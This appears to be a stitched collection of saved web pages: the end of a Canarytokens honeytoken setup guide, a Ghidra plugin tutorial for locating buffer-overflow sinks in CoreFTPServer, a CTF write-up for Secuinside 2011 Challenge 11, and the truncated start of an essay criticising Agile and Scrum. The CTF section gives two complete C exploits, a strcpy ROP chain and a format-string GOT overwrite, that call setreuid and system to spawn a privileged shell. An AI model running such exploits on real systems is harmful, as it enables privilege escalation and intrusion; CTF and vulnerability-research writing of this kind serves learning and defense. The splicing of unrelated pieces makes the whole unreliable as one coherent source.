By default, your Canarytokens pages for generating and managing tokens will be
publicly accessible to anyone who comes across them. Take the following steps
to password-protect them:

If you’ll be using HTTPS, go to the _certbot-nginx_ directory from
_canarytokens-docker_. If using HTTP only, go to the _nginx_ directory
instead.

Now, generate a username/password pair you’ll use for managing your
Canarytokens, replacing _admin_ with your desired username, and supplying your
desired password at the prompt:

[code]

    htpasswd -c htpasswd admin
[/code]

Edit the nginx.conf file, adding the following two lines after the line that
starts with the words _location ~\* \(/generate_

[code]

    auth_basic "Restricted";  
    auth_basic_user_file /etc/nginx/htpasswd;
[/code]

Next, edit the Dockerfile in the same directory, adding the following line
after the one that starts with the words _COPY nginx.conf_

[code]

    COPY htpasswd /etc/nginx/htpasswd
[/code]

Now, rebuild your Canarytokens images. To do that, first go to the
_canarytokens-docker_ directory. If you’ll be using HTTPS, run the following
command:

[code]

    docker-compose -f docker-compose-letsencrypt.yml build
[/code]

If you’ll be using HTTP only, run the following command instead:

[code]

    docker-compose build
[/code]

You can now start your reconfigured Canarytokens app, as outlined earlier.

## Experimenting with Honeytokens

Honeytokens can help you detect malicious attempts to interact with our data,
infrastructure and applications. Since legitimate users should not be
interacting with these honeypot resources, any activity associated with them
is suspect, offering an intrusion detection and threat research method with a
relatively low rate of false positives.

Canarytokens offers a convenient way of starting to experiment with
honeytokens without too many difficulties and with an attractive value
proposition. Give them a try—see what you learn.

Updated April 25, 2019

### Did you like this?

Follow me for more of the good stuff.

  * Twitter
Twitter

  * RSS
RSS Feed

  * Mailchimp
Newsletter

### About the Author

Lenny Zeltser develops teams, products, and programs that use information
security to achieve business results. Over the past two decades, Lenny has
been leading efforts to establish resilient security practices and solve hard
security problems. As a respected author and speaker, he has been advancing
cybersecurity tradecraft and contributing to the community. His insights build
upon 20 years of real-world experiences, a Computer Science degree from the
University of Pennsylvania, and an MBA degree from MIT Sloan.

Learn more

### More on

  * Information Security
  * Technology

To learn more about deception-based security approaches, see my article
Reflections Upon Deception and Protean Security Tactics.

Share

# Ghidra Plugin Development for Vulnerability Research - Part-1

**Created:**| _5/10/2019 8:40:10 AM_  
---|---  
**Updated:**| _5/10/2019 8:40:10 AM_  
**Author:**| __  
**Tags:**| _plugin ghidra_  
  

  

#  Ghidra Plugin Development for Vulnerability Research - Part-1

## **Overview**

On March 5th at the RSA security conference, the National Security Agency
\(NSA\) released a reverse engineering tool called Ghidra. Similar to IDA Pro,
Ghidra is a disassembler and decompiler with many powerful features \(e.g.,
plugin support, graph views, cross references, syntax highlighting, etc.\).
Although Ghidra's plugin capabilities are powerful, there is little
information published on its full capabilities. This blog post series will
focus on Ghidra’s plugin development and how it can be used to help identify
software vulnerabilities.

In our previous post, we leveraged IDA Pro’s plugin functionality to identify
sinks \(potentially vulnerable functions or programming syntax\). We then
improved upon this technique in our follow up blog post to identify inline
strcpy calls and identified a buffer overflow in Microsoft Office. In this
post, we will use similar techniques with Ghidra’s plugin feature to identify
sinks in CoreFTPServer v1.2 build 505.

## **Ghidra Plugin Fundamentals**

Before we begin, we recommend going through the example Ghidra plugin scripts
and the front page of the API documentation to understand the basics of
writing a plugin. \(**Help - > Ghidra API Help**\)

<img src='img/4586_1554153789547' width='697' height='388' />

When a Ghidra plugin script runs, the current state of the program will be
handled by the following five objects:

  * •**currentProgram** : the active program
  * •**currentAddress** : the address of the current cursor location in the tool
  * •**currentLocation** : the program location of the current cursor location in the tool, or null if no program location exists
  * •**currentSelection** : the current selection in the tool, or null if no selection exists
  * •**currentHighlight** : the current highlight in the tool, or null if no highlight exists

It is important to note that Ghidra is written in Java, and its plugins can be
written in Java or Jython. For the purposes of this post, we will be writing a
plugin in Jython. There are three ways to use Ghidra’s Jython API:

  * •**Using Python IDE \(similar to IDA Python console\):**

<img src='img/4575_1554154466345' width='697' height='388' />

  * •**Loading a script from the script manager:**

<img src='img/4583_1554155172626' width='697' height='388' />

  * •**Headless** **\- Using Ghidra without a GUI:**

<img src='img/4578_ghidra_output4.png' width='697' height='388' />

With an understanding of Ghidra plugin basics, we can now dive deeper into the
source code by utilizing the script manager \(**Right Click on the script** ->
**Edit with Basic Editor**\)

<img src='img/4580_1554155971923' width='697' height='386' />

The example plugin scripts are located under
**/path\_to\_ghidra/Ghidra/Features/Python/ghidra\_scripts.**\(In the script
manager, these are located under **Examples/Python/**\):

<img src='img/4584_ghidra_output6.png' width='698' height='389' />

##  
**Ghidra Plugin Sink Detection**

In order to detect sinks, we first have to create a list of sinks that can be
utilized by our plugin. For the purpose of this post, we will target the sinks
that are known to produce buffer overflow vulnerabilities. These sinks can be
found in various write-ups, books, and publications.

Our plugin will first identify all function calls in a program and check
against our list of sinks to filter out the targets. For each sink, we will
identify all of their parent functions and called addresses. By the end of
this process, we will have a plugin that can map the calling functions to
sinks, and therefore identify sinks that could result in a buffer overflow.  

**Locating Function Calls**

There are various methods to determine whether a program contains sinks. We
will be focusing on the below methods, and will discuss each in detail in the
following sections:

  1. 0 . **Linear Search -** Iterate over the text section \(executable section\) of the binary and check the instruction operand against our predefined list of sinks.
  2. 1 . **Cross References \(Xrefs\) -** Utilize Ghidra’s built in identification of cross references and query the cross references to sinks. 

****

## **Linear Search**

The first method of locating all function calls in a program is to do a
sequential search. While this method may not be the ideal search technique, it
is a great way of demonstrating some of the features in Ghidra’s API.

Using the below code, we can print out all instructions in our program:

[code]

    listing = currentProgram.getListing() #get a Listing interface
    ins_list = listing.getInstructions(1) #get an Instruction iterator
    while ins_list.hasNext():             #go through each instruction and print it out to the console
        ins = ins_list.next()
        print (ins)
[/code]

Running the above script on CoreFTPServer gives us the following output:

<img src='img/4579_ghidra_output7.png' width='697' height='411' />

We can see that all of the x86 instructions in the program were printed out to
the console.

  
Next, we filter for sinks that are utilized in the program. It is important to
check for duplicates as there could be multiple references to the identified
sinks.

Building upon the previous code, we now have the following:

[code]

    sinks = [ 
             "strcpy",
             "memcpy",
             "gets",
             "memmove",
             "scanf",
             "lstrcpy",
             "strcpyW",
             #...
             ]
    duplicate = []
    listing = currentProgram.getListing() 
    ins_list = listing.getInstructions(1) 
    while ins_list.hasNext():           
        ins = ins_list.next()    
        ops = ins.getOpObjects(0)    
        try:        
            target_addr = ops[0]  
            sink_func = listing.getFunctionAt(target_addr) 
            sink_func_name = sink_func.getName()         
            if sink_func_name in sinks and sink_func_name not in  duplicate:
                duplicate.append(sink_func_name) 
                print (sink_func_name,target_addr) 
        except:
            pass    
[/code]

  
Now that we have identified a list of sinks in our target binary, we have to
locate where these functions are getting called. Since we are iterating
through the executable section of the binary and checking every operand
against the list of sinks, all we have to do is add a filter for the call
instruction.

Adding this check to the previous code gives us the following:

[code]

    sinks = [					
    	"strcpy",
    	"memcpy",
    	"gets",
    	"memmove",
    	"scanf",
    	"strcpyA", 
    	"strcpyW", 
    	"wcscpy", 
    	"_tcscpy", 
    	"_mbscpy", 
    	"StrCpy", 
    	"StrCpyA",
            "lstrcpyA",
            "lstrcpy", 
            #...
    	]
    
    duplicate = []
    listing = currentProgram.getListing()
    ins_list = listing.getInstructions(1)
    
    #iterate through each instruction
    while ins_list.hasNext():
        ins = ins_list.next()
        ops = ins.getOpObjects(0)
        mnemonic = ins.getMnemonicString()
    
        #check to see if the instruction is a call instruction
        if mnemonic == "CALL":
            try:
                target_addr = ops[0]
                sink_func = listing.getFunctionAt(target_addr)
                sink_func_name = sink_func.getName()
                #check to see if function being called is in the sinks list
                if sink_func_name in sinks and sink_func_name not in duplicate:
                    duplicate.append(sink_func_name)
                    print (sink_func_name,target_addr)
            except:
    	        pass
[/code]

Running the above script against CoreFTPServer v1.2 build 505 shows the
results for all detected sinks:

<img src='img/4574_ghidra_output8.png' width='698' height='383' />

Unfortunately, the above code does not detect any sinks in the CoreFTPServer
binary. However, we know that this particular version of CoreFTPServer is
vulnerable to a buffer overflow and contains the **lstrcpyA** sink.**** So,
why did our plugin fail to detect any sinks?

After researching this question, we discovered that in order to identify the
functions that are calling out to an external DLL, we need to use the function
manager that specifically handles the external functions.

To do this, we modified our code so that every time we see a call instruction
we go through all external functions in our program and check them against the
list of sinks. Then, if they are found in the list, we verify whether that the
operand matches the address of the sink.

The following is the modified section of the script:

[code]

    sinks = [					
    	"strcpy",
    	"memcpy",
    	"gets",
    	"memmove",
    	"scanf",
    	"strcpyA", 
    	"strcpyW", 
    	"wcscpy", 
    	"_tcscpy", 
    	"_mbscpy", 
    	"StrCpy", 
    	"StrCpyA",
            "lstrcpyA",
            "lstrcpy", 
            #...
    	]
    
    program_sinks = {}
    listing = currentProgram.getListing()
    ins_list = listing.getInstructions(1)
    ext_fm = fm.getExternalFunctions()
    
    #iterate through each of the external functions to build a dictionary
    #of external functions and their addresses
    while ext_fm.hasNext():
        ext_func = ext_fm.next()
        target_func = ext_func.getName()
       
        #if the function is a sink then add it's address to a dictionary
        if target_func in sinks: 
            loc = ext_func.getExternalLocation()
            sink_addr = loc.getAddress()
            sink_func_name = loc.getLabel()
            program_sinks[sink_addr] = sink_func_name
    
    #iterate through each instruction 
    while ins_list.hasNext():
        ins = ins_list.next()
        ops = ins.getOpObjects(0)
        mnemonic = ins.getMnemonicString()
    
        #check to see if the instruction is a call instruction
        if mnemonic == "CALL":
            try:
                #get address of operand
                target_addr = ops[0]   
                #check to see if address exists in generated sink dictionary
                if program.sinks.get(target_addr):
                    print (program_sinks[target_addr], target_addr,ins.getAddress()) 
            except:
                pass
[/code]

Running the modified script against our program shows that we identified
multiple sinks that could result in a buffer overflow.

<img src='img/4577_ghidra_output9.png' width='697' height='423' />

  

## **Xrefs**

The second and more efficient approach is to identify cross references to each
sink and check which cross references are calling the sinks in our list.
Because this approach does not search through the entire text section, it is
more efficient.  
  
Using the below code, we can identify cross references to each sink:

[code]

    sinks = [					
    	"strcpy",
    	"memcpy",
    	"gets",
    	"memmove",
    	"scanf",
    	"strcpyA", 
    	"strcpyW", 
    	"wcscpy", 
    	"_tcscpy", 
    	"_mbscpy", 
    	"StrCpy", 
    	"StrCpyA",
            "lstrcpyA",
            "lstrcpy", 
            #...
    	]
    
    duplicate = []
    func = getFirstFunction()
    
    while func is not None:
        func_name = func.getName()
        
        #check if function name is in sinks list
        if func_name in sinks and func_name not in duplicate:
            duplicate.append(func_name)
            entry_point = func.getEntryPoint()
            references = getReferencesTo(entry_point)
    	#print cross-references    
            print(references)
        #set the function to the next function
        func = getFunctionAfter(func)
[/code]

Now that we have identified the cross references, we can get an instruction
for each reference and add a filter for the call instruction. A final
modification is added to include the use of the external function manager:

[code]

    sinks = [					
    	"strcpy",
    	"memcpy",
    	"gets",
    	"memmove",
    	"scanf",
    	"strcpyA", 
    	"strcpyW", 
    	"wcscpy", 
    	"_tcscpy", 
    	"_mbscpy", 
    	"StrCpy", 
    	"StrCpyA",
            "lstrcpyA",
            "lstrcpy", 
            #...
    	]
    
    duplicate = []
    fm = currentProgram.getFunctionManager()
    ext_fm = fm.getExternalFunctions()
    
    #iterate through each external function
    while ext_fm.hasNext():
        ext_func = ext_fm.next()
        target_func = ext_func.getName()
        
        #check if the function is in our sinks list 
        if target_func in sinks and target_func not in duplicate:
            duplicate.append(target_func)
            loc = ext_func.getExternalLocation()
            sink_func_addr = loc.getAddress()    
            
            if sink_func_addr is None:
                sink_func_addr = ext_func.getEntryPoint()
    
            if sink_func_addr is not None:
                references = getReferencesTo(sink_func_addr)
    
                #iterate through all cross references to potential sink
                for ref in references:
                    call_addr = ref.getFromAddress()
                    ins = listing.getInstructionAt(call_addr)
                    mnemonic = ins.getMnemonicString()
    
                    #print the sink and address of the sink if 
                    #the instruction is a call instruction
                    if mnemonic == “CALL”:
                        print (target_func,sink_func_addr,call_addr)
[/code]

Running the modified script against CoreFTPServer gives us a list of sinks
that could result in a buffer overflow:

<img src='img/4577_ghidra_output9.png' width='697' height='423' />

  
  

## **Mapping Calling Functions to Sinks**

So far, our Ghidra plugin can identify sinks. With this information, we can
take it a step further by mapping the calling functions to the sinks. This
allows security researchers to visualize the relationship between the sink and
its incoming data. For the purpose of this post, we will use graphviz module
to draw a graph.

Putting it all together gives us the following code:

[code]

    from ghidra.program.model.address import Address
    from ghidra.program.model.listing.CodeUnit import *
    from ghidra.program.model.listing.Listing import *
    
    import sys
    import os
    
    #get ghidra root directory
    ghidra_default_dir = os.getcwd()
    
    #get ghidra jython directory
    jython_dir = os.path.join(ghidra_default_dir, "Ghidra", "Features", "Python", "lib", "Lib", "site-packages")
    
    #insert jython directory into system path 
    sys.path.insert(0,jython_dir)
    
    from beautifultable import BeautifulTable
    from graphviz import Digraph
    
    
    sinks = [
        "strcpy",
        "memcpy",
        "gets",
        "memmove",
        "scanf",
        "strcpyA", 
        "strcpyW", 
        "wcscpy", 
        "_tcscpy", 
        "_mbscpy", 
        "StrCpy", 
        "StrCpyA", 
        "StrCpyW", 
        "lstrcpy", 
        "lstrcpyA", 
        "lstrcpyW", 
        #...
    ]
    
    sink_dic = {}
    duplicate = []
    listing = currentProgram.getListing()
    ins_list = listing.getInstructions(1)
    
    #iterate over each instruction
    while ins_list.hasNext():
        ins = ins_list.next()
        mnemonic = ins.getMnemonicString()
        ops = ins.getOpObjects(0)
        if mnemonic == "CALL":	
            try:
                target_addr = ops[0]
                func_name = None 
                
                if isinstance(target_addr,Address):
                    code_unit = listing.getCodeUnitAt(target_addr)
                    if code_unit is not None:
                        ref = code_unit.getExternalReference(0)	
                        if ref is not None:
                            func_name = ref.getLabel()
                        else:
                            func = listing.getFunctionAt(target_addr)
                            func_name = func.getName()
    
                #check if function name is in our sinks list
                if func_name in sinks and func_name not in duplicate:
                    duplicate.append(func_name)
                    references = getReferencesTo(target_addr)
                    for ref in references:
                        call_addr = ref.getFromAddress()
                        sink_addr = ops[0]
                        parent_func_name = getFunctionBefore(call_addr).getName()
    
                        #check sink dictionary for parent function name
                        if sink_dic.get(parent_func_name):
                            if sink_dic[parent_func_name].get(func_name):
                                if call_addr not in sink_dic[parent_func_name][func_name]['call_address']:
                                    sink_dic[parent_func_name][func_name]['call_address'].append(call_addr)
                                else:
                                    sink_dic[parent_func_name] = {func_name:{"address":sink_addr,"call_address":[call_addr]}}
                        else:	
                            sink_dic[parent_func_name] = {func_name:{"address":sink_addr,"call_address":[call_addr]}}				
            except:
                pass
    
    #instantiate graphiz
    graph = Digraph("ReferenceTree")
    graph.graph_attr['rankdir'] = 'LR'
    duplicate = 0
    
    #Add sinks and parent functions to a graph	
    for parent_func_name,sink_func_list in sink_dic.items():
        #parent functions will be blue
        graph.node(parent_func_name,parent_func_name, style="filled",color="blue",fontcolor="white")
        for sink_name,sink_list in sink_func_list.items():
            #sinks will be colored red
            graph.node(sink_name,sink_name,style="filled", color="red",fontcolor="white")
            for call_addr in sink_list['call_address']:
    	    if duplicate != call_addr:					
                    graph.edge(parent_func_name,sink_name, label=call_addr.toString())
                    duplicate = call_addr	
    
    ghidra_default_path = os.getcwd()
    graph_output_file = os.path.join(ghidra_default_path, "sink_and_caller.gv")
    
    #create the graph and view it using graphiz
    graph.render(graph_output_file,view=True)
[/code]

Running the script against our program shows the following graph:

<img src='img/4581_ghidra_output10.png' width='697' height='572' />

We can see the calling functions are highlighted in blue and the sink is
highlighted in red. The addresses of the calling functions are displayed on
the line pointing to the sink.

After conducting some manual analysis we were able to verify that several of
the sinks identified by our Ghidra plugin produced a buffer overflow. The
following screenshot of WinDBG shows that EIP is overwritten by 0x42424242 as
a result of an lstrcpyA function call.

<img src='img/4582_ghidra_output15.png' width='697' height='456' />

## **Additional Features**

Although visualizing the result in a graph format is helpful for vulnerability
analysis, it would also be useful if the user could choose different output
formats.

The Ghidra API provides several methods for interacting with a user and
several ways of outputting data. We can leverage the Ghidra API to allow a
user to choose an output format \(e.g. text, JSON, graph\) and display the
result in the chosen format. The example below shows the dropdown menu with
three different display formats. The full script is available at our github:

<img src='img/4576_ghidra_output11.png' width='697' height='388' />

## **Limitations**

There are multiple known issues with Ghidra, and one of the biggest issues for
writing an analysis plugin like ours is that the Ghidra API does not always
return the correct address of an identified standard function.

Unlike IDA Pro, which has a database of function signatures \(FLIRT
signatures\) from multiple libraries that can be used to detect the standard
function calls, Ghidra only comes with a few export files \(similar to
signature files\) for DLLs. Occasionally, the standard library detection will
fail.

<img src='img/4585_ghidra_output12.png' width='697' height='388' />

By comparing IDA Pro and Ghidra’s disassembly output of CoreFTPServer, we can
see that IDA Pro’s analysis successfully identified and mapped the function
**lstrcpyA** using a FLIRT signature, whereas Ghidra shows a call to the
memory address of the function **lstrcpyA**.

Although the public release of Ghidra has limitations, we expect to see
improvements that will enhance the standard library analysis and aid in
automated vulnerability research.

## **Conclusion**

Ghidra is a powerful reverse engineering tool that can be leveraged to
identify potential vulnerabilities. Using Ghidra’s API, we were able to
develop a plugin that identifies sinks and their parent functions and display
the results in various formats. In our next blog post, we will conduct
additional automated analysis using Ghidra and enhance the plugins
vulnerability detection capabilities.

Posted on April 5, 2019 by Somerset Recon and tagged \#Ghidra \#Reverse
Engineering \#Plugin \#Vulnerability Analysis.

 9 Likes

Share

.

# DE EINDBAZEN » Secuinside 2011 CTF – Challenge 11

**Created:**| _10/10/2011 1:00:15 PM_  
---|---  
**Updated:**| _10/25/2011 6:31:30 PM_  
**Author:**| __  
**Tags:**| _x86 rop x64_  
  

## Secuinside 2011 CTF – Challenge 11

Posted by admin

Challenge \#11 consists of two binaries, **chal1** and **chal2**. As if
exploiting one binary  
wasn’t worth any points\!

## chal1

### The vulnerability

**Chal1** is an NX-protected x86-64 binary with fixed addresses for libc and
ASLR for the stack.  
It suffers from a **strcpy\(\)** vulnerability. A string is copied from
**argv\[3\]** to a fixed size buffer.  
But not before we overcome the fact that the binary exits when there are
**\*any\*** arguments  
at all. Luckily, when there are _0_ elements in argv, **argv\[3\]** points to
**envp\[2\]**.

While the convention for environment variables is _“VARNAME=value”_ , the
kernel does not  
enforce it, it just copies NULL-terminated strings. This means we can put any
binary data  
on the top of the process’ stack, encoding the NULL-bytes by just starting
another string.

The problem is that the more useful gadgets \(in the **chal1** binary and in
libc\) all have  
NULL-bytes in the most significant portion of the address. This means we can
place only  
one of those addresses on the stack using the vulnerable **strcpy\(\)**. On
the target machine,  
stack randomisation causes the environment variables to be quite far from the
stack pointer  
at the time of exploitation. With only control over **RBP** and no clue where
the stack is going to  
end up, \(bruting 2^20 possible locations is kind-of bad manners on a CTF
machine,\) we had  
to move the stack pointer in a single \(NULL-containing\) gadget.

  * Gadget: Pop-a-Lot
[code]       35ece572a7:   48 81 c4 88 82 00 00    add    $0x8288,%rsp

      35ece572ae:   c3                      retq
    
[/code]

But… I kind-of missed that gadget… So I had to devise another way. Luckily,
there **_is_**  
another piece of code in the address-space, with addresses **_without_** NULL-
bytes in  
them. \(Thank you, kernel dudes\!\) It is the **\[vdso\]** at
**0xffffffffff60000-0xffffffffff601000**.  
The gadgets in there are not very useful on itself, but there are two of
interest:

  * Gadget: RET
[code]     ffffffffff60139:   ret

    
    
[/code]

  * Gadget: do\_some\_timey\_wimey\_thing\(\), and then RET
[code]     ffffffffff60100:   ...

    
    
[/code]

Note that the addresses are the same except the last byte, which is ‘\x00′ for
the latter,  
and that they both are a no-op for our purposes, shifting the stack one up.
Now we simply  
insert enough of the **RET** gadgets for the **strcpy\(\)** to copy over the
original copy. For  
the last copied address, where we necessarily have a NULL-byte we use the
latter gadget.  
Now we have a nice ROP-slide into our ROP-shellcode.

### x86-64 ROP sleds

On **x86-64** , most function call arguments are not pushed on the stack, but
instead  
passed through registers \(RDI, RSI, and so on.\) This means we cannot simply
chain  
libc calls interleaved with arguments. We have to load our registers first.

  * Gadget: Load RDI / \( Load RBP \)
[code]       35ece22056:   5f                      pop    %rdi

      35ece22058:   5d                      pop    %rbp
      35ece22059:   c3                      retq
    
    
[/code]

  * Gadget: Load RSI
[code]       35ecec28ce:   5e                      pop    %rsi

      35ecec28cf:   c3                      retq
    
    
[/code]

  * Gadget: Load RAX
[code]     35ece683c4:   58                      pop %rax

    35ece683c5:   c3                      retq
    
    
[/code]

  * Gadget: Load some stack address into RDI, jump to code at RAX
[code]       35ece6a7b1:   48 8d 7c 24 10          lea    0x10(%rsp),%rdi

      35ece6a7b6:   ff d0                   callq  *%rax
    
    
[/code]

Since we have a libc with fixed addresses, we have loads of functions to
choose from.  
I went for **system\(\)** , which at first crashed because in my ROPslide I
overwrote **envp\[\]** , which is  
where **environ** points to, which in turn is used by **system\(\)** to give
to **execve\(\)**. This was  
solved by first calling **clearenv\(\)**. Also, **system\(\)** causes **sh**
to relinquish its effective  
user ID, so a call to **setreuid\(\)** is needed first.

### The full exploit

[code]

    #include <unistd.h>
    
    #define RET "\x39\x01\x60\xff\xff\xff\xff\xff"        /* NULL-less ret address       */
    #define RETEND "", "\x01\x60\xff\xff\xff\xff\xff"     /* do_something(void) & ret    */
    #define RET16 RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET
    #define UID "\xf6\x01","","","","","",                /* chal1                       */
    
    main(int argc, char *argv[])
    {
        char *n_argv[] = {NULL};
        char *n_envp[] = {
            "A", "B",
    
            /* copied buffer envp[2] aka argv[3] */
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=RBP=RBP"
            RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
            RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
            RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
            RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
            RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
            RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
            RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
            RETEND
    
            "\x40\x98\xe3\xec\x35","","",  /* 35ece39840: clearenv();                     */
    
            "\x57\x20\xe2\xec\x35","","",  /* 35ece22057: pop %rdi
                                            *             pop %rbp
                                            *             ret
                                            */
    
            UID                            /*             UID -> %rdi                     */
            "clobber "                     /*             clobber %rbp                    */
    
            "\xce\x28\xec\xec\x35","","",  /* 35ecec28ce: pop %rsi
                                            *             ret
                                            */
    
            UID                            /*             UID -> %rsi                     */
    
            "\xc0\x8d\xed\xec\x35","","",  /* 35eced8dc0: setreuid(UID, UID)              */
    
            "\xc4\x83\xe6\xec\x35","","",  /* 35ece683c4: pop %rax
                                            *             ret
                                            */
    
            "\x10\x22\xe4\xec\x35","","",  /*             system -> %rax                  */
    
            "\xb1\xa7\xe6\xec\x35","","",  /* 35ece6a7b1: lea    0x10(%rsp),%rdi
                                            *             callq  *%rax  =  system(command);
                                            */
    
            "0x0(rsp)0x8(rsp)"             /*             ...padding...                   */
            "sh -i;XXXXXXXXXXXXXXX",       /*             char *command + stack alignment */
            NULL
        };
    
        execve("/home/guest/chal1", n_argv, n_envp);
    }
    
    
[/code]

## chal2

After exploitation, a second binary can be found in **/home/chal1** , but not
before a call to **newgrp**  
to set the right group ID.

### The vulnerability

Challenge 2 is also NX protected, with a randomised stack and a fixed address
libc. The  
buffer overflow has been replaced by a format string vulnerability. Due to the
fact that we have  
only one format string injection per execution, and no interaction, we cannot
reliably overwrite any  
known stack addresses. But since the program has been modified to call
**exit\(\)** ,  
we can overwrite exit’s GOT entry, or do something with **.dtors**. Well…
**.dtors** is going  
to be a problem, since there is a hard coded maximum of **0** of them:

[code]

    0000000000400470 <__do_global_dtors_aux>:
    ...
      400482:       bb 10 07 60 00          mov    $0x600710,%ebx    !  load start of table to RBX
      400487:       48 8b 05 6a 04 20 00    mov    0x20046a(%rip),%rax        # 6008f8 <dtor_idx.5888>
      40048e:       48 81 eb 08 07 60 00    sub    $0x600708,%rbx    !  at this point RBX is 8
      400495:       48 c1 fb 03             sar    $0x3,%rbx         !  make that 1
      400499:       48 83 eb 01             sub    $0x1,%rbx         !  make that 0
      40049d:       48 39 d8                cmp    %rbx,%rax         !  unsigned comparison with 0, a lost cause when you do a JAE
      4004a0:       73 24                   jae    4004c6 <__do_global_dtors_aux+0x56>
    
    
[/code]

So GOT it is. \(Incidentally, modifying **exit\(\)’s** GOT entry to jump to
400487 _/would/_ have allowed  
for multiple **dtors** , useful for when a single gadget would not get the
stack pointer in place, but  
this is where I found my beloved Gadget Pop-a-Lot. :-\)

  * Gadget: Pop-a-Lot
[code]       35ece572a7:   48 81 c4 88 82 00 00    add    $0x8288,%rsp

      35ece572ae:   c3                      retq
    
[/code]

Which _/almost/_ gets me to a working exploit. The only problem now is where
to put the format  
pointer addresses. Libc’s stack randomisation changes the argument numbers for
the  
environment data I inject from execution to execution, but nothing a little
stack-spraying  
won’t fix. With some padding, I get the right alignment right, roughly 50% of
the time.

### The full exploit

[code]

    #include <unistd.h>
    
    /* 35ece572a7: add    $0x8288,%rsp
     *             retq
     */
    #define FORMATSTRING "%53c%4702$n%29298c%4700$hn%31294c%4701$hn"
    /*                              a              b              c
     *
     *            GOT entry for exit()
     *            ................
     *    a)      00000035........   53             = 0x35
     *    b)      00000035....72a7   53+29298       = 0x72a7
     *    a)      00000035ece572a7   53+29298+31294 = 0x5ece
     *
     */
    #define GOT \
        "\xd8\x08\x60","","","","",\ /* GOT exit() entry */
        "\xda\x08\x60","","","","",\ /* GOT exit() entry+2 */
        "\xdc\x08\x60","","","","",\ /* GOT exit() entry+4 */
        "ZZZZZZZZ" /* align on 16 bytes for .5 chance of getting the right addresses */
    #define FMTIX GOT
    #define FMTIX16 FMTIX FMTIX FMTIX FMTIX FMTIX FMTIX FMTIX FMTIX FMTIX FMTIX FMTIX FMTIX FMTIX FMTIX FMTIX FMTIX
    
    #define RET "\x39\x01\x60\xff\xff\xff\xff\xff"        /* NULL-less ret address       */
    #define RETEND "", "\x01\x60\xff\xff\xff\xff\xff"     /* do_something(void) & ret    */
    #define RET16 RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET
    #define UID "\xf7\x01","","","","","",                /* chal2                       */
    
    main(int argc, char *argv[])
    {
        char *n_argv[] = {NULL};
        char *n_envp[] = {
            "A", "B\n", "C\n",
            /* fmt */ FORMATSTRING
            RETEND /* no-op starting with '\x00' */
            RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
            RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
            RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
            RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
            RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
            RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
            RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
            RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
            RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
            RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
            RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
            RETEND
    
            "\x40\x98\xe3\xec\x35","","",  /* 35ece39840: clearenv();                     */
    
            "\x57\x20\xe2\xec\x35","","",  /* 35ece22057: pop %rdi
                                            *             pop %rbp
                                            *             ret
                                            */
    
            UID                            /*             UID -> %rdi                     */
            "clobber "                     /*             clobber %rbp                    */
    
            "\xce\x28\xec\xec\x35","","",  /* 35ecec28ce: pop %rsi
                                            *             ret
                                            */
    
            UID                            /*             UID -> %rsi                     */
    
            "\xc0\x8d\xed\xec\x35","","",  /* 35eced8dc0: setreuid(UID, UID)              */
    
            "\xc4\x83\xe6\xec\x35","","",  /* 35ece683c4: pop %rax
                                            *             ret
                                            */
    
            "\x10\x22\xe4\xec\x35","","",  /*             system -> %rax                  */
    
            "\xb1\xa7\xe6\xec\x35","","",  /* 35ece6a7b1: lea    0x10(%rsp),%rdi
                                            *             callq  *%rax  =  system(command);
                                            */
    
            "0x0(rsp)0x8(rsp)"             /*             ...padding...                   */
            "sh -i;XXXXXXXXXXXXXXXXX",     /*             char *command + stack alignment */
    
            FMTIX16 FMTIX16 FMTIX16 FMTIX16 FMTIX16 FMTIX16 FMTIX16 FMTIX16
            "XXXXX",                       /*             alignment                       */
            NULL
        };
        execve("/home/chal1/chal2", n_argv, n_envp);
    }
    
[/code]

# Why “Agile” and especially Scrum are terrible | Michael O. Church
**Created:**| _6/8/2015 1:29:41 PM_  
---|---  
**Updated:**| _6/8/2015 1:29:41 PM_  
**Author:**| __  
**Tags:**| _bookmark business cult\(ure\)_  
  

# Why “Agile” and especially Scrum are terrible

Follow-up post: here

It’s probably not a secret that I dislike the “Agile” fad that has infested
programming. One of the worst varieties of it, _Scrum_ , is a nightmare that
I’ve seen actually kill companies. By “kill” I don’t mean “the culture wasn’t
as good afterward”; I mean a drop in the stock’s value of more than 85
percent. This shit is toxic and it needs to die yesterday. For those
unfamiliar, let’s first define our terms. Then I’ll get into why this stuff is
terrible and often detrimental to actual agility. Then I’ll discuss a single,
temporary use case under which “Agile” development actually is a good idea,
and from there explain why it is so harmful as a permanent arrangement.

**So what is Agile?**

The “Agile” fad grew up in web consulting, where it had a certain amount of
value: when dealing with finicky clients who don’t know what they want, one
typically has to choose between one of two options. The first is to manage the
